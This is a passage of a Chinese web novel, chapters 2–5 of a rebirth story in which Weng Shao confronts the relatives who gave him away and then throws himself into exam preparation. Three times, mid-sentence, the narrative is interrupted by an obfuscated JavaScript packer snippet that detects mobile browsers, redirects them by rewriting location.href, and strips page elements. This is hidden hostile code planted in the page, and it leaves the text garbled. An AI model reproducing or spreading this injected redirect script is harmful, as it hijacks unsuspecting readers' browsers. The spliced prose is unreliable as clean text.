《阴鸷反派重生以后》 2. 第 2 章 清脆的巴掌声响起,所有人都愣住了。 “翁家老二怎么跟翁家老爷子动起手来了?” “当儿子的竟然敢打老子,这是要遭天打雷劈的!” “翁家老二又不是故意的。他是想打翁绍,结果翁绍躲开了,这巴掌就落在了翁家老爷子的脸上。” 细碎的议论听得翁老爷子满脸通红,他顶着红肿的巴掌印,厉声呵斥道:“这是在干什么!” 翁英杰手足无措地解释道:“我不是……我没想到这一巴掌会……爸,您没事吧?” “行了!”翁老爷子没好气地挥开翁英杰的手:“还嫌不够丢人嘛!” 翁老爷子捂着脸,一双浑浊的死鱼眼死死盯着翁绍:“你也别闹了。我不知道蕙心是怎么跟你说的,你确实是你二叔的亲生儿子,可你二叔早就把你过继给你大伯了。按照咱们这儿的规矩,你现在就是你大伯的儿子。我知道你不服气,但这就是你的命。你得认命!” 看着中气十足的翁老爷子,翁绍就知道自己应该是在做梦。否则的话,他又怎么会看到死人说话? 闹出这么大的丑事,翁英杰可不打算让其他族人继续看笑话。他顺着翁老爷子的话附和道:“你爷爷说得没错。我已经把你过继给你大伯了,你就是你大伯的儿子。你要好好孝顺他,将来给他养老送终,别想有的没的。我有你大哥和弟弟就够了。”言外之意,他就没想过认回翁绍,他也不缺儿子。 翁绍的嘴角忽然勾起一丝讥诮的弧度:“给谁当儿子并不重要,重要的是你把我当成报恩的筹码,想让我代替你,给你的救命大哥养老送终。那现在我上学需要钱,这笔钱是不是也该由你来出?” 大概是他脸上过于冷漠和嘲讽的表情刺痛了冠冕堂皇的一家人。原本就觉得颜面扫地的翁家人突然沉下脸,就连一直没有吭声的翁家两兄弟都坐不住了。 “你到底想干什么?我实在搞不明白,不管是爸的儿子,还是大伯的儿子,不都是翁家的血脉?既然都是一家人,你为什么非要为了一己私利,把事情闹得这么难堪?”翁缜站起身,义愤填膺地指责翁绍。 翁绍被逗笑了。果然还是这群烂人,即便是在他的梦里,也只会放这些冠冕堂皇的屁。 “既然都是一家人,为什么非得让我做大伯的儿子?不如大家换一换怎么样?”翁绍心平气和,半点没有被人指着鼻子骂的愤慨:“你来给大伯当儿子。每天喂猪、喂鸡,骑着三轮车去摆摊卖菜,给一个瘫痪的人擦屎端尿。你不自私,你善良正义,我相信你一定能当好这个孝子贤孙。” 翁缜被翁绍三言两语气得面红耳赤,他没想到记忆中那个沉默寡言的乡巴佬竟然会说出这么刻薄的话:“你能不能别在这里胡搅蛮缠、强词夺理!我又不是大伯的儿子,我凭什么要做那些事——” “我也不是啊。”翁绍看着气急败坏的翁缜,玩味笑道:“是你说的嘛!大家都是一家人,那就更应该同甘共苦对不对?都是爸妈亲生的,我已经吃了十八年的苦,替爸妈报了十八年的恩,就算轮也该轮到你们了吧?都是亲兄弟,你比我还大四岁呢!没道理福都你们享,罪让我来遭,回过头来,还要指责我做的不够好。” 翁绍的逻辑很简单,谁对他指手画脚,谁就跟他换。 翁缜脸上一阵红一阵白的,下意识躲开翁绍的视线,咒骂道:“你就是个疯子,我懒得理你。” 翁绍嗤笑。他就知道翁缜这个阴货,只会站在道德制高点上说一些冠冕堂皇的话。一旦涉及到他自己的利益,他比谁翻脸都快。上辈子翁绍跟裴行则联手搞垮翁家,吞并了翁氏集团以后,翁缜竟然还想雇佣绑匪绑架他。这种货色又怎么可能放下自己翁家大少爷的身份,去给一个瘫痪的大伯端屎端尿? 已经残废的翁英雄在他们一家人眼中,是没有利用价值的。连带着余蕙心和翁绍,也被视为累赘。哪怕翁绍是翁英杰的亲儿子。 “你不想换?那让翁绥去也行。”翁绍漆黑的眼珠微微转动,看向站在一边不知所措的翁绥:“我们两个可是同年同月同日生的双胞胎兄弟。既然爸妈想拿孩子报恩,也别可着我一个人祸害。大家都有份,才叫公平嘛!” “不、不行、我不要……”翁绥脸色煞白地看向翁英杰夫妇,带着哭腔哀求道:“爸、妈,我不要离开你们——” 周舒静急忙把人搂进怀里,狠狠瞪了翁绍一眼:“把你过继给你大伯,是你爸和你爷爷的决定,你吓小绥干什么?” 翁英杰同样嫌恶地瞪了翁绍一眼。显然,比起从一出生就被过继出去,没什么接触,也没什么感情,还让他在众多父老乡亲面前丢尽颜面的翁绍,翁英杰更在意从小就被养在他身边,聪明懂事,又乖巧贴心的翁缜和翁绥。他厉声呵斥翁绍:“你不要说这些没有意义的话挑拨离间。把你过继给你大伯,是我和你爷爷共同的决定。没有你讨价还价的余地——” “你们说够了没有?”被翁家众人像乒乓球一样推来推去的翁英雄忍无可忍:“我还没死呢!翁绍,我知道你对我,对这个家有怨气。你觉得我这个当爸的没用,给不了你更好的生活。你现在长大了,翅膀硬了,想要攀高枝了——” “不要再说了!”一道尖锐的声音打断翁英雄阴阳怪气的抱怨,缩在角落里的余蕙心忍无可忍,冲了出来:“你没资格说这种话。你们谁都没资格说这种话。你们知道这些年,翁绍是怎么过来的嘛?你们不知道!你们有什么资格站在这里说我儿子不好?” 同床共枕数十年,余蕙心比任何人都了解她的丈夫翁英雄是个什么样的人。她知道翁绍三兄弟适才避之唯恐不及的推脱,已经彻底击垮了这个男人本就过剩的自尊心。即便是瘫在炕上不能动弹,这个自私自利,空有一腔大男子主义的废物也不能忍受别人嫌弃他。他又不敢冲着翁缜和翁绥发火,就只能把怒气发泄到翁绍的身上。 翁英雄震惊地看着突然爆发的余蕙心。他不知道这个婆娘在发什么疯,但他无法忍受连自己的婆娘都敢当着外人的面,挑衅他一家之主的威严:“我没有资格?我凭什么没有资格?我是他老子!我养了他十八年——” “你什么时候养过他?你就是一个连炕都下不了的残废,你连自己都养活不了,怎么养活我跟儿子?”余蕙心攥着翁绍的手腕,力气大到骨节都发白了。她似乎是想保护翁绍,又似乎是想借着这个动作,给自己增添勇气。 向来沉默隐忍的女人当着全村人的面,声嘶力竭地喊道:“打从翁绍三岁起,别人家的孩子还在摇车里吃奶呢,我儿子就要跟着我下地。那么点个小娃娃,每天挎着个小竹筐,跟在我身后捡麦穗。再大一点儿,又跟着我上山挖野菜挖蚯蚓……他吃的每一粒米,喝的每一口水,都是我们娘儿俩自己赚的。你这个当爹的干啥了?我们娘儿俩要是靠你这个只会躺在炕上装死的废物,早就饿死了。” 余蕙心声音尖锐,言语如刀,毫不留情地剥开了翁英雄竭力想要维护的虚假颜面:“……你说你要脸,接受不了被兄弟接济,不让我跟小叔子要钱,也不让我冲爸妈张口。你不允许你的老婆孩子花你兄弟父母的钱,可你能眼睁睁看着我们娘儿俩没日没夜的干活,连饭都吃不饱,还要养你这么个废物——” “你给我住口!住口!”翁老爷子实在听不下去了,一声怒喝打断余蕙心的话:“你怎么能这么跟英雄说话,他可是你男人!” “你少在这儿跟我大呼小叫的,你以为你又是什么好人?”余蕙心豁出去了,指着翁老爷子的鼻子破口大骂:“但凡你这个当爷爷的,能在背地里悄悄补贴我们一点儿,哪怕是让我儿子吃饱肚子,有件干净体面没补丁的衣服穿,我也当你是个人!” 翁英雄双腿残疾后,原本开朗疏阔的性情也跟着大变。他拒不接受弟弟的钱财施舍,认为自己一个大男人不能受别人的救济,至少不能让老婆孩子花别的男人的钱。翁英雄的妻子余蕙心是个传统又懦弱的女人。翁英雄不让她跟家里张口,她就咬紧牙关。带着翁绍没日没夜的干活儿,从来没有一句怨言。 可女人懦弱,为母则强。余蕙心可以忍受贫穷,忍受没日没夜的操劳,但她不能眼睁睁看着自己的儿子也被这个家拖累,连心仪的大学都念不起。所以余蕙心把翁绍的身世说出来了。她想让翁绍认回亲爸亲妈,至少有钱上大学,将来也能找个好工作。 余蕙心相信以翁绍的秉性,就算认回亲爸亲妈,也不会不管他们。可她不明白,明明是两全其美的好事,为什么全家人都反对。还一盆脏水一盆脏水地往翁绍的身上泼,恨不得把翁绍踩死。 “一家子没心没肺的狗东西!那可是你们的亲儿子亲孙子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318291|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们都能眼睁睁看着他吃苦受穷,你们也好意思骂我儿子是白眼狼?他要真是白眼狼,那也是随了你们翁家的根儿!”余蕙心搂着翁绍消瘦的身体,火气上头,不管不顾地骂道:“翁绍的身世是我说出来的,他要认亲爹这事儿,也是我的主意。你们同意也好,不同意也罢,反正你们得供翁绍上大学。他学习成绩那么好,学校老师都说他能考上京海大学——” “我不同意!”翁英雄扯着脖子怒吼:“他要是敢收老二的钱,就别认我这个爸!我没他这么没骨气的儿子——” “你这么有骨气,怎么不躺炕上绝食饿死呢?怎么还有脸吃我养的鸡下的蛋?我跟儿子喂猪卖菜赚来的钱买的药?我看你就是不想让翁绍好,你就是想要折腾他,虐待他。” 余蕙心指着翁英雄的鼻子劈头盖脸一顿骂:“我还不知道你那点儿花花肠子。你是不是觉得折磨了翁绍,就能报复你弟弟?你早就后悔救他了,是不是?要不是为了救他,你怎么会瘫在炕上,一辈子不能跑、不能动,只能当个废物?更可恨的是你残废了,他风风光光成大老板了。天天住别墅,开豪车,吃得满嘴流油,早把你这个救命大哥忘脑后了。所以你生他的气,就把这些肮脏下贱的报复手段用在一个孩子身上——” “你给我住口!住口!”被戳中了隐秘心思的翁英雄歇斯底里的怒吼,他伸手胡乱抓着桌子上的杯盘筷子扔向余蕙心,双眼猩红地怒视翁绍:“你这个狼心狗肺的白眼狼。我养了你十八年,就算没让你过上大富大贵的好日子,至少也让你有饭吃,有书念。早知道你这么不知道感恩,我当初还不如养一条狗!” “我过得确实还不如翁家养的一条狗,”翁绍终于开口了,他挡在余蕙心的面前:“但这不都是拜你所赐吗?” 翁英雄被翁绍怼的哑口无言。孱弱的胸腔剧烈起伏,从喉咙里发出拉风箱一样的噪音,仿佛一口痰噎在嗓子眼,吞不下去吐不出来。 “你这个……你这个……”听到翁绍大逆不道的话,翁老爷子也觉得太阳穴一蹦一蹦的,他满脸狰狞,痛苦地捂住胸口,另外一只手颤颤巍巍地指向翁绍。半晌,一口气没喘上来,两眼一翻晕过去了。 “爸!” “爷爷!” 本就挤得满满当当的老宅堂屋顿时乱作一团。翁英杰手忙脚乱地扶起翁老爷子,转头怒视翁绍:“你看看你干的好事!都是因为你,爷爷都气晕过去了,你现在满意了?” “别急着往我脑袋上扣黑锅。”翁绍挺直脊背,冷眼看着对他怒目而视的翁英杰:“你以为你说话大声,就能混淆视听?你这个假仁假义的东西。翁英雄救了你一条命,你就该养他一辈子。翁英雄不跟你要钱,你就应该把钱强塞给他。可你是怎么做的?以为生个儿子过继给他就两清了?就能心安理得的带着老婆孩子躲在京海市装死?自己吃的满嘴流油,却任由你的残废大哥、大嫂,还有你的亲生儿子喝西北风。你没养过我一天,我却帮你还了十八年的债。你不跟我说一声谢谢就算了,怎么还敢心安理得的把气晕老爷子的黑锅甩给我?” “是我当着父老乡亲的面,打了他老人家一巴掌?还是我忘恩负义,弃残废的救命大哥和亲生儿子于不顾?” “你觉得丢人,那是因为你干得都是丢人的事。你不能因为我把你干的烂事说了出来,就说是我让翁家丢人了。” 翁绍说到这里,一把抢过翁绥握在手里,正鬼鬼祟祟偷录视频的手机:“你有空站在这里录视频,没空拨打急救电话,你还真是你爷爷的亲孙子。” 一句话戳穿了翁家众人急于甩锅的伪善嘴脸,翁绍随即拨打了120:“……看来咱们这一家人,要么是畜生,要么连畜生都不如,还真是禽兽一家亲啊!” “怪不得我是你们亲生的呢!” 二十年前,十八岁的翁绍面对血脉至亲站在道德制高点上开的枪,曾经惊慌失措、百口莫辩。只能任由一顶顶黑锅砸在他的头上。连带着余蕙心都成了贪婪狠毒,明面上教唆养子认回父母,其实是觊觎小叔子创下的丰厚家资,想让翁绍跟两个侄子争夺财产的极品搅家精。 可是二十年后的翁绍面对同样的指责,却能游刃有余的一一反驳回去。 时光荏苒,翁绍看着溃不成军的骨肉至亲,哂然一笑,转身大步流星地走出堂屋。 3. 第 3 章 一天后 翁绍一脸茫然地躺在冰凉的土炕上。看着头顶脏兮兮的房梁,翁绍陷入了沉思。 他在这段梦里,已经浑浑噩噩地过了一天一夜,却始终没有苏醒。滴水未进的虚弱和胃部烧灼的饥饿感让翁绍后知后觉地意识到,自己或许并不是在做梦——如果他在做梦,就不会有这么真实的痛感。 所以,他是真的重生了? 翁绍倏然睁开双眼,起身下炕,摇摇晃晃走出低矮昏暗的房间。在翁英雄破口大骂的背景音,以及余蕙心沉默担忧地注视中,手起刀落,亲手宰杀了一只公鸡。 温热的鲜血喷涌而出,有一两滴溅到翁绍的眼中。顺着脸部轮廓蜿蜒向下,仿佛一行血泪。翁绍豁然抬头,猩红的眼眸直勾勾看向趴在窗台前破口大骂的翁英雄—— 粗暴肮脏的咒骂声戛然而止,翁英雄动了动嘴唇,重新躺回炕上,避开了翁绍的注视。 翁绍便在这古怪的沉默中,有条不紊地处理鸡肉。 曾经,这些鸡鸭跟家里养的猪、田里种的菜和瓜一样,都是用来换钱的。他跟余蕙心起早贪黑地干活、喂牲口,舍不得吃一口肉、一个鸡蛋,换来的钱除了补贴家用、交学杂费费,还得给翁英雄买药。 十八岁以前的翁绍没吃过几口肉;十八岁以后的翁绍,每吃一口肉,都要被人戳脊梁骨。 可翁绍终究还是肉食动物,长久的压制并不能消磨他的兽性,只能让他在疯狂爆发以后,将每一个欺凌过他的人搬上食谱。 没人可以阻止一头饥肠辘辘的野兽进食。 生火、烧水、褪毛、切块,将新鲜的鸡块放入锅中,加入葱、姜、八角、川椒、料酒和其他调味料,又在铁锅周围贴上几个糙米饼子。 翁绍顺手抽出几根柴火塞进灶膛,引火烧灶。火光融融,映照着翁绍脸上干涸的血迹。 一个小时后,翁绍捧着饭碗,蹲在灶旁狼吞虎咽。 余蕙心沉默地站在一旁。翁绍抬眼看她,起身拿起一只空碗,装了满满一碗鸡肉,又在上面盖了一张糙米饼子,塞到余蕙心手里:“吃。” 没人对他们好,他们就得对自己更好。越多人想看他死,他越要活个痛快。 翁绍说道:“翁英杰认不认我这个儿子都无所谓,但我认你这个妈。你养我小,我养你老。如果你愿意,将来可以跟我一起去京海。就算没有翁英杰,我也能给你买大房子,让你过上好日子。” 余蕙心捧着碗,没有吭声。她全部的勇气和怒火,似乎都倾泻在昨天的宴席上。天亮之后,她又变成了那个沉默隐忍的农村妇女。 翁绍也不管她,端起自己的饭碗继续吃。 不知过了多久,余蕙心突然抓起一根鸡腿,狠狠塞进嘴里,大口大口的咀嚼。肉香填满口腔的瞬间,余蕙心泪流满面。 * 那顿饭后,翁绍背上自己的破书包,带上用剩下的鸡肉丁和榨菜炒的咸菜,几件洗的发白、起球、脱线,甚至带补丁的换洗衣服,风尘仆仆回到了学校。 正值傍晚,返校的都是住宿生,人不算多。看到翁绍以后,更是三三两两远远驻足,冲着翁绍指指点点。 时隔多年,翁绍早就忘了自己住在哪个寝室。好在他清明节大闹酒席的光荣事迹让他再一次成为学校里的名人。翁绍随口叫住一个冲着他指指点点的同村同学:“帮我把行李送回寝室。” 被叫住的同学愣住了。他一脸憋屈地看了翁绍好几眼,半晌,敢怒不敢言地拎起行李,边走边试探问道:“翁绍,你爷爷怎么样?出院了吗?” “不知道。”翁绍的态度十分冷漠,他根本不在乎翁老爷子的死活。 “你就一点都不担心吗?万一你爷爷真的被你气死了——” 翁绍纠正道:“爷爷不是我气晕的,他是接受不了被亲生儿子打了一巴掌的现实,才会晕过去。” “……”拎包小弟被翁绍睁着眼睛说瞎话的狡辩气得肝儿疼,他愤愤不平地指责翁绍:“你怎么这么不要脸?你难道就不觉得你的行为很过分吗?” 拎包小弟一脸嫌恶地看着翁绍,仿佛翁绍是什么脏东西。 “真没想到你是这种人。我爸妈以前还老让我跟你学,幸亏我没学。我要跟你似的,为了荣华富贵跟全家翻脸,还把爷爷气进医院,我爸妈得打死我!”拎包小弟幸灾乐祸地道。 从小到大,翁绍在他们村里都是别人家的孩子。懂事乖巧,读书又好。小小年纪就知道心疼大人,还会利用寒暑假时间干活赚钱补贴家用,简直就是每个父母心中的儿子标杆。 相比之下,村里的同龄孩子就显得没那么懂事了。每当他们惹了祸,或者考试成绩不理想,就会被各自的爸妈揪着耳朵骂,口口声声都是让他们多跟翁绍学学。学校老师更是恨不得把翁绍树立成所有同学的榜样。 可以这么说,他们这批人,打小儿就是在翁绍的阴影下长大的。他们都烦死翁绍了。好不容易等到翁绍犯了大错——连他的亲爸亲妈都戳着他的脊梁骨,骂他是个白眼狼了。大家都觉得,这位高高在上的天之骄子,这回总该灰头土脸、低头认错了吧?没想到这人脸皮这么厚,都把亲爷爷气到昏迷住院了还敢狡辩——他似乎一点儿都不觉得自己犯了大错! 翁绍坦然无畏的态度,立刻激起了围观者的怒火。 “你这么没人性,怪不得你亲爸亲妈不要你。” “我也不是从小就这么没人性的。这不是吃了十八年的苦,糟了十八年的罪,现在才知道我本不该遭这份儿罪嘛!”翁绍气定神闲,笑眯眯道:“你们说我这种情况,有正规的收养手续吗?要是申请法律援助的话,应该咨询人口买卖,虐待儿童,还是遗弃罪?” “既然这么好奇我的事儿,不如你们去帮我问问?” “……” 接下来这一段路,没人再说一句话。直到一群人下意识跟到了翁绍的寝室,拎包小弟把翁绍的行李重重扔在床上,骂骂咧咧地走了。 作为在市一中常年排名年级第一的优等生,学校给翁绍安排的寝室是四人寝,免费的。其他三位室友比翁绍回来得早,正坐在书桌前复习。 瞧见翁绍进门时被人群簇拥的盛况,三人颇感莫名其妙:“什么情况?” “等着看戏的。”翁绍三言两语解释清楚,刚把装咸菜的罐头瓶子拿出来,嗅觉敏锐的张畅就吸了吸鼻子,闻着味道看过来:“什么东西这么香?” 坐在他对面的周铭京嘟囔道:“哪有什么味道,我怎么没闻到——” 翁绍拧开了罐头盖子:“鸡肉丁炒的疙瘩咸菜,要吃点儿吗?” 周铭京不敢置信地看向张畅:“这你都能闻出来,你是狗鼻子吗?” 说完这句话,他又扭头看向翁绍:“今天究竟是什么日子,你也舍得吃肉?我还以为你要出家了呢!” 张畅已经把他晚上在食堂打的馒头拿出来了,迫不及待地凑到翁绍面前:“给我尝尝。” 翁绍顺手把罐头瓶子塞给张畅,回应周铭京的话:“想通了。” “你早该想通了。”一直没怎么说话的蒋睿冷哼一声:“咱们现在上高三,学习那么苦,就得吃好点儿。你以前不吃不喝的,我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318292|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕你饿死。” “外面那些闲言碎语你少听,听了也别往心里去。那些人要么就是站着说话不腰疼,要么就是嫉妒你,故意说那些话让你难堪。”张畅用筷子挖了一点点咸菜丁,抹在已经掰开的馒头上,一半自己吃,一半强行塞给翁绍,边吃边吐槽:“我真搞不懂你家里人到底是怎么想的。” 就算没有翁绍认亲这码事儿,翁家人也够奇葩的—— 在京海市开公司当大老板的亲叔叔,能眼睁睁看着对自己有救命之恩的大哥一家吃糠咽菜这么多年却无动于衷。别说是骨肉至亲还有救命之恩了,哪怕是处得好的邻里乡亲都不会这么干。 听说翁二叔的公司每年都会花上几十上百万做慈善。怎么就没想过再花几千块,捐助一下自己名义上的侄子,血缘上的儿子呢? 要让张畅说,他二叔就应该承担翁绍一家的花销——要不是为了救人,翁绍他前爹现大伯也不会变成残废不是? “这里头会不会还有什么事儿啊?” 翁绍看着认真讨论翁家狗血剧情的室友们,明知故问:“你们难道不觉得,我抛弃残废大伯,想要认回有钱的亲爸,是爱慕虚荣,狼心狗肺?” “放屁!”周铭京眉头紧皱:“说这种话的人,就该跟你一样,先干十几年的农活,打扫十几年的猪圈,喂十几年的鸡鸭,给一个瘫痪在床的男人擦屎擦尿的当十几年护工,一年到头也吃不上一顿肉……你看看他们还有闲心说这种风凉话吗?” “别人这么想无所谓,你要是也这么想,那就是蠢!” “他们越是编排你,你就越要努力学习,考上京海大学,狠狠打他们的脸。到时候就让你那亲爸二叔后悔去吧!” 同窗三年,他们四个人呆在一起的时间,甚至比跟自己爸妈相处的时间都长。张畅几人当然清楚翁绍到底是什么人。他们比那些流言蜚语更早认识翁绍,知道翁绍过得有多苦。 高中三年,翁绍的食谱永远都是一顿饭一个馒头,喝食堂免费的紫菜汤。要不是他们这帮兄弟看不下去,时常在买饭的时候给翁绍多打一份菜,两个馒头,翁绍就算没饿死,也会饿出病来。 不过翁绍也不会白吃他们的东西。翁绍虽然没钱,但他是年级第一。他记的笔记连各科老师都会拿去做参考。翁绍还会时不时的给他们进行一对一辅导,三位室友都觉获益匪浅。 感受到朋友们的拳拳盛意,翁绍低头一笑,眼睛却有点涩。 上辈子,也是这些朝夕相处的室友,还有他的老师们开导劝解他,只可惜那时的翁绍完全听不进去。他被充满恶意的舆论裹挟着,被站着说话不腰疼的道德枷锁捆绑着,作茧自缚,动辄得咎。直到许多年后,才在裴行则的刻意引诱下,慢慢走出来。 不可否认,裴行则引诱他的初衷,应该是想借他的手除掉翁氏集团。可裴行则也成功激发了翁绍压制在内心最深处的兽性和欲望,让翁绍从一只遍体鳞伤的困兽,蜕变成为獠牙锋利的野兽。 他们两个相互利用,狼狈为奸,嘴上说着合作无间,背地里提防着彼此捅刀。很长一段时间内,翁绍都无法确定,他们两个到底是什么关系。直到裴行则死在他的面前—— 翁绍闭上眼。前世种种如同幻灯片在眼前一一浮现,最终定格在裴行则满是鲜血的脸上:“我早就说过,算命的说你天煞孤星,亲缘浅薄,早晚众叛亲离……不过算命的没说你还克夫啊……真是被你害惨了。幸好我遗嘱继承人……写的是你的名字……” “你可别拿我的钱,去养小白脸……不然我做鬼都、不、会……放……过……你……” 4. 第 4 章 一不小心想到裴行则,翁绍一直在高速运转的大脑陡然一个卡顿,向来冷硬的心脏竟然感受到一丝绵绵密密的疼痛。 翁绍自嘲一笑。他想他大抵真如旁人所说,是个无情无义,狼心狗肺的人。 裴行则死后,翁绍受人余惠,当然谨遵遗嘱,没用裴行则的钱养小白脸——尽管翁绍并不知道,裴行则为什么会在遗嘱上写他的名字,但用一辈子单身换偌大家产,翁绍并不觉得吃亏。毕竟连不相干的外人都知道,翁绍贪得无厌,一生只爱钱。 翁绍猜想,裴行则把家产留给他,或许是想让他留个念想。只可惜裴家大少错估了情人的铁石心肠,翁绍从未在裴行则死后,主动想起过他。只有午夜梦回,向来喜欢跟他作对的裴行则会擅自进入他的梦,人死了也要喋喋不休地骚扰他。没过多久,甚至连白天都不肯放过他。 不管翁绍在开会,还是在批文件,裴行则都大大咧咧往那一坐。以至于翁绍有一段时间,都分不清裴行则是真的死了,还是又想到什么歪主意作弄他。 翁绍的精神状态很快就被有心人散播出去。一直等待机会翻盘的翁家人率先出手,想要以翁绍精神分裂为由,把人关进疗养院。翁绍当然不会坐以待毙。 他先是找到证据,把策划了那起绑架案的幕后黑手翁缜送去吃牢饭——翁英杰夫妇还想以翁缜有精神病史为由,让律师帮他辩护无罪。翁绍就以同样的借口,把翁英杰夫妇送去疗养院——反正他收购了翁氏集团,又接手了裴行则的遗产后,有的是钱。他可以让翁英杰夫妇在疗养院住到地老天荒——这也算是他身为人子,尽一尽孝道。 因为这件事,外面风言风语,都说翁绍丧心病狂、坏事做尽,连亲生父母和同胞兄弟都不放过。每个人都戳着翁绍的脊梁骨骂,好在翁绍早就想开了。他穷困潦倒时,那些人也不曾看得起他,如今他有钱有势,又何必在意旁人狂吠? “翁绍?翁绍?” 翁绍回过神来,眼前有手乱晃。张畅看着眼睛突然发直的翁绍,关切问道:“你没事吧?” 虽然大家都劝翁绍别往心里去,可是出了这样的事,谁又真能做到一点都不在乎流言蜚语?他们没有身处其中,做不到完完全全的感同身受,只能用言语宽慰好友。 然而很多时候,言语在事实面前,也是最苍白无力的。 “我没事。”翁绍轻轻抚摸着剧烈跳动的心脏,他忽然想到眼下这个时候,裴行则还没有死,他的家人也都建在。世人口中放荡形骸的裴家大少,此时正鲜衣怒马地活跃在地球的某一个角落。 他会呼吸,有体温,能跑能跳,能说话骗他,也能缠绵的亲吻他。 这一次我们又该怎么见面呢?翁绍心想,他要做好充分的准备,绝不能像上次告别那样仓促狼狈。 然而,还没等翁绍精心策划好他跟裴行则的第一次见面,一盆凉水兜头泼下来。 ——回到学校的第二天,全市高三年级举行了第二次模拟考试。翁绍在考试中发挥失利。成绩出来后,翁绍总分竟然比一模时低了两百多分。在高中三年一直保持年级第一的翁绍,第一次掉出三百名开外。一时间全校哗然。 陡然下降的考试成绩引起了老师的注意。班主任陈老师把翁绍叫到办公室谈话,语重心长地劝导翁绍要以学习为重:“……还有两个月就高考了,这可是人生的第二道分水岭。如果投胎没能让你成为人上人,你还可以通过自己的努力改变人生。老师认为,后者显然更有成就感。” 翁绍认亲的事情闹得沸沸扬扬,班主任陈老师也有所耳闻。不同于一小部分学生的幸灾乐祸,市一中的老师们都觉得十分痛心。他们眼睁睁看着一个品学兼优的孩子,被生活的重担逼得狼狈不堪,又因为一念之差,被自己的亲生父母指着鼻子唾骂,一夜之间声名狼藉。 “如果你不想接受京海师范大学的保送名额,也可以努力学习,考上京海大学。我们国家有助学贷款政策,你考上大学以后,还可以努力学习,获得奖学金覆盖你的生活费。老师相信,你完全有这个实力。”陈老师耐心劝导翁绍。 事实上,翁绍出了这样的事情,已经不可能再获得学校的保送名额了。他们学校已经收到了多位家长的投诉,认为翁绍这样道德败坏的学生,没有资格占用保送名额。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318293|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈老师不想跟那些家长争辩什么,但她作为翁绍的班主任,必须要为自己的学生负责。 “成年人的世界很复杂,但你不要多想。因为你现在还是一名学生,而学生的天职就是学习。” “唯有努力学习,你才有机会跳出眼前这个池塘,走进更广阔的天地。千万不要被眼前的苦难吓倒,你要相信坎坷只是一时的。只要你能坚持不懈,一直走下去,早晚有一天,你会发现前路漫漫亦灿灿,轻舟已过万重山。” * 那天过后,所有人都发现,翁绍再次进入了埋头苦读的心流境界。 不管别人怎么冷嘲热讽,甚至站在翁绍面前指着翁绍的鼻子骂,骂他忘恩负义,骂他狼心狗肺,骂他做人有问题,所以才会爹不疼娘不爱,翁绍都无动于衷。 一天只有二十四个小时,除了晚上睡觉的四个小时,翁绍把所有时间都拿来复习高中知识。夜以继日、废寝忘食。 可翁绍越是表现得恍若无事,有些人越是看不惯他,越是嫉妒他,越是变本加厉的骂他。他们想要击碎翁绍脸上的冰山面具,想要看到翁绍露出惊慌失措,狼狈不堪,甚至是羞愧自惭的表情,想要看到一直高高在上的天之骄子被拽下神坛,被所有人戳着脊梁骨,踩在脚底下,只可惜没有人能做得到。 面对校内甚嚣尘上的指责和批判,翁绍从不开口。他不与人争论,也不跟人对线。似乎没有任何人、任何事、任何言语能够动摇翁绍向学的心。 翁绍也确实不在乎那些流言。前世今生两辈子,翁绍听那些话听得耳朵都起茧子了。翻来覆去都是一些陈词滥调,没有半点新意。 十八岁的翁绍听到那些指责和谩骂,会伤心愤怒,会心虚胆怯,甚至会怀疑自己是不是真有他们骂的那么坏。可是二十年后的翁绍再次听到这些话,只会觉得那些复读机一样的咒骂,还没有翁绍二模考试时落下的两百多分有杀伤力。 与其跟那些心怀叵测、见不得别人好的复读机争辩,翁绍宁愿把精力都放在学习上。毕竟他的时间很宝贵——他要以最快的速度调整好自己的状态,然后一步一步,走到裴行则的面前。 5. 第 5 章 重生到这个时间节点,对翁绍来说是件幸运的事情。 上辈子的翁绍被流言蜚语影响,在高三最后的冲刺阶段没能好好复习,最终导致高考失利,只考上了京海市最末流的一所985高校。而他重生在清明节这天,虽然距离高考只剩两个多月,满打满算不到七十天;虽然重生前的翁绍已经有足足十年没有碰过课本——他的脑袋早就被各种行业资讯和大数据塞满了,没有给十年前的高中知识留一点余地。但翁绍的底子摆在那儿,即便是在仓促之间参加的二模考试,他的成绩跟一模比起来,也就差了两百多分。 这两百多分的差距,大都是在语文和理综三科上面。 毕业太久,一些需要全文背诵的语文课知识点,还有理综三科的解题公式和化学分子式,翁绍早就忘光了。好在工作多年,翁绍的数学功底还没落下,英语更是娴熟。因此两个月的时间虽短,对于习惯了系统化复盘,以及快速吸收和掌握新鲜资讯的翁绍而言,也足够了。 